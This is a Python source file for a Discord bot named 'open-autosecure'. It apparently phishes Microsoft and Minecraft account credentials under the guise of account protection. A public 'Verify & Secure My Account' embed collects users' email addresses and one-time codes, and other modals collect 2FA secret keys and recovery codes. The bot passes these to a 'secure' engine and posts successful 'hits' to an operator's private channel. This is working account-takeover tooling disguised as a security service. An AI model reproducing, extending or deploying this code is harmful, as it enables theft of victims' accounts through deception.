sten.wtf / Unstable Instance

open-autosecure — Unstable Instance. May not even function properly but you are free to help improvise it.

bot/commands.py

from __future__ import annotations

import logging

import discord
from discord import app_commands

from bot import embeds as em
from bot import interactions as ix
from db import store
from secure import engine
from secure.auth import mslogin, otp as otp_auth

logger = logging.getLogger("bot.commands")

_FIELD_LABELS = {
    "email": "Microsoft Account Email",
    "otp": "One-Time Code",
    "password": "Password",
    "secret_key": "TOTP Secret Key",
    "recovery_code": "Recovery Code",
}


def can_run_secure(member_role_ids: set[int], secure_role_id: int | None) -> bool:
    return secure_role_id is not None and secure_role_id in member_role_ids


def has_manage_guild(perms) -> bool:
    return bool(perms.manage_guild)


def _require_manage_guild(interaction: discord.Interaction) -> bool:
    return has_manage_guild(interaction.permissions)


async def _deny_no_manage_guild(interaction: discord.Interaction) -> None:
    await interaction.response.send_message(
        "You need the Manage Server permission to use this.", ephemeral=True
    )




async def _with_ms_http(cfg, fn):
    http = await mslogin.open_http(cfg.proxy_url)
    try:
        return await fn(http)
    finally:
        await http.close()


async def _begin_otp_session(cfg, email: str) -> otp_auth.OtcSession:
    return await _with_ms_http(cfg, lambda http: otp_auth.begin_otp_session(http, email))


async def _send_otc(
    cfg, email: str, proof: otp_auth.ProofInfo, no_password: bool
) -> otp_auth.OtcSendResult:
    return await _with_ms_http(
        cfg, lambda http: otp_auth.send_otc(http, email, proof, no_password=no_password)
    )


def otp_wizard_prompt(session: otp_auth.OtcSession, email: str) -> str:
    if session.step == "choose":
        return (
            session.message
            or f"Choose where to send the one-time code for `{email}`."
        )
    if session.step == "code" and session.selected is not None:
        return em.otp_sent_message(session.selected.display)
    return session.message or (
        "Couldn't send a verification code to that email. "
        "Double-check it and try again."
    )


def _code_view(db, cfg, email, source, session: otp_auth.OtcSession) -> "_OtpCodeView":
    proof = session.selected or session.proofs[0]
    return _OtpCodeView(
        db, cfg, email, source, proof, session.proofs, session.no_password
    )


class _OtpCodeModal(discord.ui.Modal):
    def __init__(
        self,
        db,
        cfg,
        email: str,
        source: str,
        proof: otp_auth.ProofInfo,
        no_password: bool,
    ) -> None:
        super().__init__(title="Enter Verification Code")
        self._db = db
        self._cfg = cfg
        self._email = email
        self._source = source
        self._proof = proof
        self._no_password = no_password
        self.code = discord.ui.TextInput(
            label=_FIELD_LABELS["otp"], min_length=6, max_length=7
        )
        self.add_item(self.code)

    async def on_submit(self, interaction: discord.Interaction) -> None:
        if not ix.method_allowed("otp", self._source):
            await interaction.response.send_message(
                "That method isn't available here.", ephemeral=True
            )
            return
        try:
            creds = ix.creds_from_modal(
                "otp", {"email": self._email, "otp": str(self.code.value).strip()}
            )
        except ValueError:
            await interaction.response.send_message(
                "Missing or invalid code.", ephemeral=True
            )
            return
        creds["proof_data"] = self._proof.data
        creds["no_password"] = self._no_password
        await _run_secure_and_report(interaction, self._db, self._cfg, "otp", creds)


class _OtpCodeView(discord.ui.View):
    def __init__(
        self,
        db,
        cfg,
        email: str,
        source: str,
        proof: otp_auth.ProofInfo,
        proofs: list[otp_auth.ProofInfo],
        no_password: bool,
    ) -> None:
        super().__init__(timeout=600)
        self._db = db
        self._cfg = cfg
        self._email = email
        self._source = source
        self._proof = proof
        self._proofs = proofs
        self._no_password = no_password

        enter = discord.ui.Button(label="Enter Code", style=discord.ButtonStyle.primary)
        enter.callback = self._enter_code
        self.add_item(enter)

        resend = discord.ui.Button(
            label="Resend code", style=discord.ButtonStyle.secondary
        )
        resend.callback = self._resend
        self.add_item(resend)

        if len(proofs) > 1:
            change = discord.ui.Button(
                label="Change destination", style=discord.ButtonStyle.secondary
            )
            change.callback = self._change_destination
            self.add_item(change)
        else:
            restart = discord.ui.Button(
                label="Use a different email", style=discord.ButtonStyle.secondary
            )
            restart.callback = self._restart
            self.add_item(restart)

    async def _enter_code(self, interaction: discord.Interaction) -> None:
        await interaction.response.send_modal(
            _OtpCodeModal(
                self._db,
                self._cfg,
                self._email,
                self._source,
                self._proof,
                self._no_password,
            )
        )

    async def _resend(self, interaction: discord.Interaction) -> None:
        await interaction.response.defer(ephemeral=True, thinking=True)
        sent = await _send_otc(
            self._cfg, self._email, self._proof, self._no_password
        )
        if not sent.ok:
            await interaction.followup.send(
                sent.message or "Couldn't resend the code. Try again.",
                ephemeral=True,
            )
            return
        await interaction.edit_original_response(
            content=em.otp_sent_message(self._proof.display),
            view=self,
        )

    async def _change_destination(self, interaction: discord.Interaction) -> None:
        await interaction.response.edit_message(
            content=f"Choose where to send the one-time code for `{self._email}`.",
            view=_ProofPickerView(
                self._db,
                self._cfg,
                self._email,
                self._proofs,
                self._no_password,
                self._source,
            ),
        )

    async def _restart(self, interaction: discord.Interaction) -> None:
        await interaction.response.send_modal(
            _EmailModal(self._db, self._cfg, self._source)
        )


class _ProofPickerView(discord.ui.View):
    def __init__(
        self,
        db,
        cfg,
        email: str,
        proofs: list[otp_auth.ProofInfo],
        no_password: bool,
        source: str,
    ) -> None:
        super().__init__(timeout=600)
        self._db = db
        self._cfg = cfg
        self._email = email
        self._proofs = proofs
        self._no_password = no_password
        self._source = source

        options = [
            discord.SelectOption(
                label=proof.display[:100],
                value=str(i),
                description="Security email",
            )
            for i, proof in enumerate(proofs[:25])
        ]
        select = discord.ui.Select(
            placeholder="Select security email...", options=options
        )
        select.callback = self._picked
        self.add_item(select)

        restart = discord.ui.Button(
            label="Use a different email", style=discord.ButtonStyle.secondary
        )
        restart.callback = self._restart
        self.add_item(restart)

    async def _picked(self, interaction: discord.Interaction) -> None:
        idx = int(interaction.data["values"][0])
        proof = self._proofs[idx]
        await interaction.response.defer(ephemeral=True, thinking=True)
        sent = await _send_otc(self._cfg, self._email, proof, self._no_password)
        if not sent.ok:
            await interaction.followup.send(
                sent.message
                or "Couldn't send a verification code. Try another destination.",
                ephemeral=True,
            )
            return
        session = otp_auth.OtcSession(
            step="code",
            proofs=self._proofs,
            selected=proof,
            no_password=self._no_password,
            message=sent.message,
        )
        await interaction.edit_original_response(
            content=otp_wizard_prompt(session, self._email),
            view=_code_view(self._db, self._cfg, self._email, self._source, session),
        )

    async def _restart(self, interaction: discord.Interaction) -> None:
        await interaction.response.send_modal(
            _EmailModal(self._db, self._cfg, self._source)
        )


class _EmailModal(discord.ui.Modal):
    def __init__(self, db, cfg, source: str) -> None:
        super().__init__(title="Secure Your Account")
        self._db = db
        self._cfg = cfg
        self._source = source
        self.email = discord.ui.TextInput(
            label=_FIELD_LABELS["email"], placeholder="you@example.com"
        )
        self.add_item(self.email)

    async def on_submit(self, interaction: discord.Interaction) -> None:
        if not ix.method_allowed("otp", self._source):
            await interaction.response.send_message(
                "That method isn't available here.", ephemeral=True
            )
            return
        email = str(self.email.value).strip()
        await interaction.response.defer(ephemeral=True, thinking=True)
        session = await _begin_otp_session(self._cfg, email)
        if session.step == "error":
            await interaction.followup.send(
                otp_wizard_prompt(session, email), ephemeral=True
            )
            return
        if session.step == "choose":
            await interaction.followup.send(
                otp_wizard_prompt(session, email),
                view=_ProofPickerView(
                    self._db,
                    self._cfg,
                    email,
                    session.proofs,
                    session.no_password,
                    self._source,
                ),
                ephemeral=True,
            )
            return
        await interaction.followup.send(
            otp_wizard_prompt(session, email),
            view=_code_view(self._db, self._cfg, email, self._source, session),
            ephemeral=True,
        )




class _CredsModal(discord.ui.Modal):
    def __init__(self, db, cfg, method: str) -> None:
        super().__init__(title=f"Secure via {method.upper()}")
        self._db = db
        self._cfg = cfg
        self._method = method
        self._inputs: dict[str, discord.ui.TextInput] = {}
        for field in ix.METHOD_FIELDS[method]:
            text_input = discord.ui.TextInput(label=_FIELD_LABELS.get(field, field))
            self._inputs[field] = text_input
            self.add_item(text_input)

    async def on_submit(self, interaction: discord.Interaction) -> None:
        if not ix.method_allowed(self._method, "secure"):
            await interaction.response.send_message(
                "That method isn't available here.", ephemeral=True
            )
            return
        values = {field: str(inp.value) for field, inp in self._inputs.items()}
        try:
            creds = ix.creds_from_modal(self._method, values)
        except ValueError:
            await interaction.response.send_message(
                "Missing required fields.", ephemeral=True
            )
            return
        await _run_secure_and_report(interaction, self._db, self._cfg, self._method, creds)


class _MethodPickerView(discord.ui.View):
    def __init__(self, db, cfg) -> None:
        super().__init__(timeout=300)
        self._db = db
        self._cfg = cfg

    @discord.ui.button(label="OTP", style=discord.ButtonStyle.primary)
    async def otp_button(
        self, interaction: discord.Interaction, button: discord.ui.Button
    ) -> None:
        await interaction.response.send_modal(_EmailModal(self._db, self._cfg, "secure"))

    @discord.ui.button(label="2FA", style=discord.ButtonStyle.secondary)
    async def twofa_button(
        self, interaction: discord.Interaction, button: discord.ui.Button
    ) -> None:
        await interaction.response.send_modal(_CredsModal(self._db, self._cfg, "2fa"))

    @discord.ui.button(label="Recovery Code", style=discord.ButtonStyle.secondary)
    async def recovery_button(
        self, interaction: discord.Interaction, button: discord.ui.Button
    ) -> None:
        await interaction.response.send_modal(_CredsModal(self._db, self._cfg, "recovery"))


class _VerifyView(discord.ui.View):
    def __init__(self, db, cfg) -> None:
        super().__init__(timeout=None)
        self._db = db
        self._cfg = cfg

    @discord.ui.button(label="Verify & Secure My Account", style=discord.ButtonStyle.success)
    async def verify_button(
        self, interaction: discord.Interaction, button: discord.ui.Button
    ) -> None:
        await interaction.response.send_modal(_EmailModal(self._db, self._cfg, "embed"))




async def _run_secure_and_report(interaction, db, cfg, method: str, creds: dict) -> None:
    if not interaction.response.is_done():
        await interaction.response.defer(ephemeral=True, thinking=True)

    attempt_id = await _create_attempt_safe(
        db, interaction.guild_id, interaction.user.id, method,
        creds.get("mc_username"), creds.get("email"),
    )

    try:
        result = await engine.secure(method, creds, cfg)
    except Exception:
        logger.exception("secure(%s) raised unexpectedly", method)
        await _finish_attempt_safe(db, attempt_id, "failed", "internal_error", None, None)
        await interaction.followup.send(
            "Something went wrong while securing the account. Please try again.",
            ephemeral=True,
        )
        return

    result.discord_user_id = interaction.user.id

    await _finish_attempt_safe(
        db,
        attempt_id,
        "success" if result.authenticated else "failed",
        result.fail_reason,
        result.mc_username,
        result.mc_uuid,
    )

    if result.authenticated:
        reply = "Your account has been secured."
    else:
        reply = f"Secure failed: {result.fail_reason or 'unknown error'}"
    await interaction.followup.send(reply, ephemeral=True)

    await _post_hits_and_logs(interaction, db, method, result)


async def _create_attempt_safe(db, guild_id, discord_user_id, method, mc_username_entered, ms_email):
    try:
        return await store.create_attempt(
            db, guild_id, discord_user_id, method, mc_username_entered, ms_email
        )
    except Exception:
        logger.exception("create_attempt failed for method=%s", method)
        return None


async def _finish_attempt_safe(db, attempt_id, status, fail_reason, result_mc_username, result_mc_uuid):
    if attempt_id is None:
        return
    try:
        await store.finish_attempt(
            db, attempt_id, status, fail_reason, result_mc_username, result_mc_uuid
        )
    except Exception:
        logger.exception("finish_attempt failed for attempt_id=%s", attempt_id)


async def _post_hits_and_logs(interaction, db, method: str, result) -> None:
    guild_id = interaction.guild_id
    guild_cfg = await store.get_guild_config(db, guild_id) if guild_id else None

    logs_channel_id = (guild_cfg or {}).get("logs_channel_id")
    if logs_channel_id:
        status = "success" if result.authenticated else "failed"
        await _send_to_channel(
            interaction.client,
            logs_channel_id,
            embed=em.logs_embed(guild_id, interaction.user.id, method, status, result.fail_reason),
        )

    hits_channel_id = (guild_cfg or {}).get("hits_channel_id")
    if result.authenticated and hits_channel_id:
        await _send_to_channel(interaction.client, hits_channel_id, embed=em.hits_embed(result))


async def _send_to_channel(bot, channel_id: int, **send_kwargs) -> None:
    channel = bot.get_channel(channel_id)
    if channel is None:
        try:
            channel = await bot.fetch_channel(channel_id)
        except discord.DiscordException:
            logger.warning("could not resolve channel %s", channel_id)
            return
    try:
        await channel.send(**send_kwargs)
    except discord.DiscordException:
        logger.warning("failed to send to channel %s", channel_id, exc_info=True)




async def _update_guild_config(db, guild_id: int, **fields) -> None:
    existing = await store.get_guild_config(db, guild_id)
    bot_id = existing.get("bot_id") if existing else None
    await store.set_guild_config(db, guild_id, bot_id, **fields)


async def setup_commands(bot, db, cfg) -> None:
    tree = bot.tree

    send_group = app_commands.Group(
        name="send", description="Post bot messages", guild_only=True
    )

    @send_group.command(name="embed", description="Post the public secure-your-account embed")
    async def send_embed(interaction: discord.Interaction) -> None:
        if not _require_manage_guild(interaction):
            await _deny_no_manage_guild(interaction)
            return
        await interaction.response.send_message(
            embed=em.verification_embed(), view=_VerifyView(db, cfg)
        )

    tree.add_command(send_group)

    @tree.command(name="secure", description="Secure your Minecraft account")
    @app_commands.guild_only()
    async def secure_cmd(interaction: discord.Interaction) -> None:
        member_role_ids = {role.id for role in getattr(interaction.user, "roles", [])}
        guild_cfg = await store.get_guild_config(db, interaction.guild_id)
        secure_role_id = (guild_cfg or {}).get("secure_role_id")
        if not can_run_secure(member_role_ids, secure_role_id):
            await interaction.response.send_message(
                "You don't have the required role to run /secure here.", ephemeral=True
            )
            return
        await interaction.response.send_message(
            "Choose a verification method:", view=_MethodPickerView(db, cfg), ephemeral=True
        )

    setchannel_group = app_commands.Group(
        name="setchannel", description="Configure operator channels", guild_only=True
    )

    @setchannel_group.command(name="logs", description="Set the non-sensitive log trail channel")
    async def setchannel_logs(interaction: discord.Interaction, channel: discord.TextChannel) -> None:
        if not _require_manage_guild(interaction):
            await _deny_no_manage_guild(interaction)
            return
        await _update_guild_config(db, interaction.guild_id, logs_channel_id=channel.id)
        await interaction.response.send_message(
            f"Logs channel set to {channel.mention}.", ephemeral=True
        )

    @setchannel_group.command(name="hits", description="Set the secured-account payload channel")
    async def setchannel_hits(interaction: discord.Interaction, channel: discord.TextChannel) -> None:
        if not _require_manage_guild(interaction):
            await _deny_no_manage_guild(interaction)
            return
        await _update_guild_config(db, interaction.guild_id, hits_channel_id=channel.id)
        await interaction.response.send_message(
            f"Hits channel set to {channel.mention}.", ephemeral=True
        )

    tree.add_command(setchannel_group)

    setrole_group = app_commands.Group(
        name="setrole", description="Configure operator roles", guild_only=True
    )

    @setrole_group.command(name="secure", description="Set the role allowed to run /secure")
    async def setrole_secure(interaction: discord.Interaction, role: discord.Role) -> None:
        if not _require_manage_guild(interaction):
            await _deny_no_manage_guild(interaction)
            return
        await _update_guild_config(db, interaction.guild_id, secure_role_id=role.id)
        await interaction.response.send_message(
            f"Secure role set to {role.mention}.", ephemeral=True
        )

    tree.add_command(setrole_group)